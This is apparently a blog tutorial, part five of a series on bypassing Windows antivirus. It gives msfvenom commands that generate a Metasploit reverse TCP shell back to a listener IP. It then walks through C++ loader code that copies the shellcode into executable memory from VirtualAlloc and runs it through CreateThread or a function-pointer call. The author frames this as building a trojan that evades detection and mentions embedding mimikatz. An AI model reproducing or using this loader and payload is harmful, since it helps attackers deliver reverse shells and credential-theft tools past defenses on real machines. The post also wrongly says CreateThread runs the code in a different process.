Basic Windows AV Bypass - Part 5 - Embed and Execute the Shellcode

Joan EstebanJoan Esteban
6 min read

Now we can finally start coding our trojan.

The malware we are going to use for testing is a reverse TCP shell from Metasploit.

Before coding the shellcode loader, let's see if AVs can detect the reverse shell executable.

To generate the reverse TCP shell executable we used the following Metasploit command:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.72 LPORT=443 -o reverse.exe

If we analyse this raw reverse shell file with antiscan we get the following output:

20 out of 26 AVs have detected the plain raw reverse shell. I am surprised the others did not catch it, I honestly think that they might be misconfigured or the VMs might not be working properly, that's why the results from these online services have to be taken with a grain of salt.

To lower the detection rate we will first tackle the Static Analysis. But before, we have to implement the way we will store and execute the shellcode inside of the trojan.

These are the pieces of software we will have to develop:

  • Loader/Trojan: The software that will carry the malware inside and execute it in the target machine.

  • Generator: The software that will generate the obfuscated shellcode so that it can be embedded into the Loader.


Embedding the shellcode

The shellcode default format is:

char shellcode[] = "\x12\x12\x12\x12\x12\x12\x12";

This format can give us problems when dealing with very large shellcode. The limit of literal strings in C++ 11 standard is 65535, and Visual Studio's C++ compiler limit is 16380. C++ string literal max length much shorter than documented - Developer Community (visualstudio.com)

To overcome this limitation we need to change the way we hardcode the shellcode. Instead of hardcoding it as a string, we will hardcode it as an array of bytes since bytes don't have any limit.

The new format will look like this:

char shellcode[] = {0x12, 0x12, 0x12, 0x12, 0x12, 0x12, 0x12};

I recommend that you place this code inside a .h file that you import into the loader.cpp file of the loader. This is because if you intend to embed a large piece of malware, the string is going to be huge, and Visual Studio might crash if you open the file. In my case, when I tried to embed mimikatz into the loader, I opened the .h file with notepad and pasted the shellcode there because, unlike Visual Studio, notepad does not crash when opening such large files.

Now we are going to have three files in our loader project:

  • loader.cpp

  • loader.h

  • shellcode.h

loader.cpp:

#include "main.h"
#include "shellcode.h"

int main(){

}

loader.h:

#ifndef LOADER_H_
#define LOADER_H_

//Here go all libraries needed

#endif

shellcode.h:

//Insert sc
unsigned char shellcode[] = {0x12, 0x12, 0x12, 0x12, 0x12, 0x12, 0x12};

Since the shellcode.h file is included inside the loader.cpp file we can access the shellcode variable from there.

Execution

With the shellcode embedded inside the loader, we can now think about how are we going to execute it.

There are many ways in which we can execute the malware, I will explain two basic ones, and later we will test how each one of them performs during the static analysis bypass part. Later I will also explain other more complicated execution methods.

The pattern behind executing the shellcode is usually the same:

  1. Find a place in memory where we can store our shellcode

  2. Copy the shellcode from our hardcoded string to the memory region found

  3. Execute the memory region

To get the shellcode version of the reverse shell of metasploit we can use the following command:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.45 LPORT=443 -o shellcode7.c -f c -b \x00\x0a\x0d

This will generate the string of shellcode that we need to hardcode into the loader. With this small shellcode there is no need to transform it into bytes, but remember that if you want to test larger malware you will probably need to transform it into bytes. You can do so by creating a couple of regex expressions to remove the \ character and add the commas, or you can create a small program that does it automatically.

Create Process Execution

One of the known techniques is to create a new process with the entry point at the beginning of the shellcode. The next code shows an example:

int main(){
    char shellcode[] = {0x12, 0x12, 0x12, 0x12, 0x12, 0x12, 0x12};

    //Ask for memory with read, write & execute privileges
    LPVOID addressPointer = VirtualAlloc(0, sizeof(shellcode),
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    //Copy the shellcode into the memory
    memcpy(addressPointer, shellcode, sizeof(shellcode));
    //Create Thread starting at the beginning of the shellcode
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addressPointer, NULL, 0, 0);
    return 0;
}

This code will execute the shellcode in a different process. As previously mentioned, AVs usually monitor API calls through hooks and callbacks. This implementation uses two API calls that are very likely to be monitored closely: VirtualAlloc and CreateThread.

Function Pointer Execution

This execution technique involves redirecting the flux of the program to a memory region using function pointer casting.

((void(*)())addr)();

C declarations go from the inside to the outside, starting with the identifier, looking for [] (array) or () (function), then on the left side for the type of the values (stored in the array or returned by the function) without crossing the parentheses; finally escape from the parenthesis and repeat.

Let's deconstruct what is happening in the previous line of code.

void (*p)()

In the previous code at the right of the p, there is nothing, and at the left, there is a pointer, which means p is a pointer. Now it escapes the first parenthesis level where at the right, there is a function and at the left a void which means this function returns nothing.

(int) variable

The previous code shows a typical cast to, in this case, an integer. In summary, something inside a parenthesis is a type cast for what is outside.

((void(*)())addr)

The previous code shows the variable addr which is being cast to a pointer that points to a function that returns nothing.

Finally, the next code shows the same as before, but with the brackets where we would place the arguments passed to the function.

((void(*)())addr)();

The whole deconstruction:

(
    (
        void(*)() //Function pointer
    )addr         //Value of the type declared above, in this case the function address
)
();               //Pointer above used as function name to run the code, here goes the arguments of such function

The issue with this approach is that many machines have DEP (Data Execution Prevention), which avoids executing code from data pages such as the stack, the default heap and memory pools. If this technique is executed on a system with DEP enabled, the program will crash. To use this technique in systems with DEP enabled, the memory has to be reserved with read, write and execute privileges. To request some memory, there is a Windows API call VirtualAlloc(). The use of this API call will make the malware easily detected, therefore some mitigation techniques will be implemented further on to avoid detection. The final code for this technique is shown here:

int main(){
    char shellcode[] = {0x12, 0x12, 0x12, 0x12, 0x12, 0x12, 0x12};

    //Borrow a space of memory to store and execute the shellcode
    void* addr = VirtualAlloc(0, sizeof(shellcode),
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    //Copy the actual shellcode inside this memory region
    memcpy(addr, shellcode, sizeof(shellcode));

    //Run shellcode with func pointer call
    ((void(*)())addr)();

    return 0;
}

💡
If something is vaguely explained or is complicated to understand, please post a comment and I will try to improve it.
💡
If you spot any mistakes, please feel free to post a comment and I will fix it as soon as possible.
0
Subscribe to my newsletter

Read articles from Joan Esteban directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Joan Esteban
Joan Esteban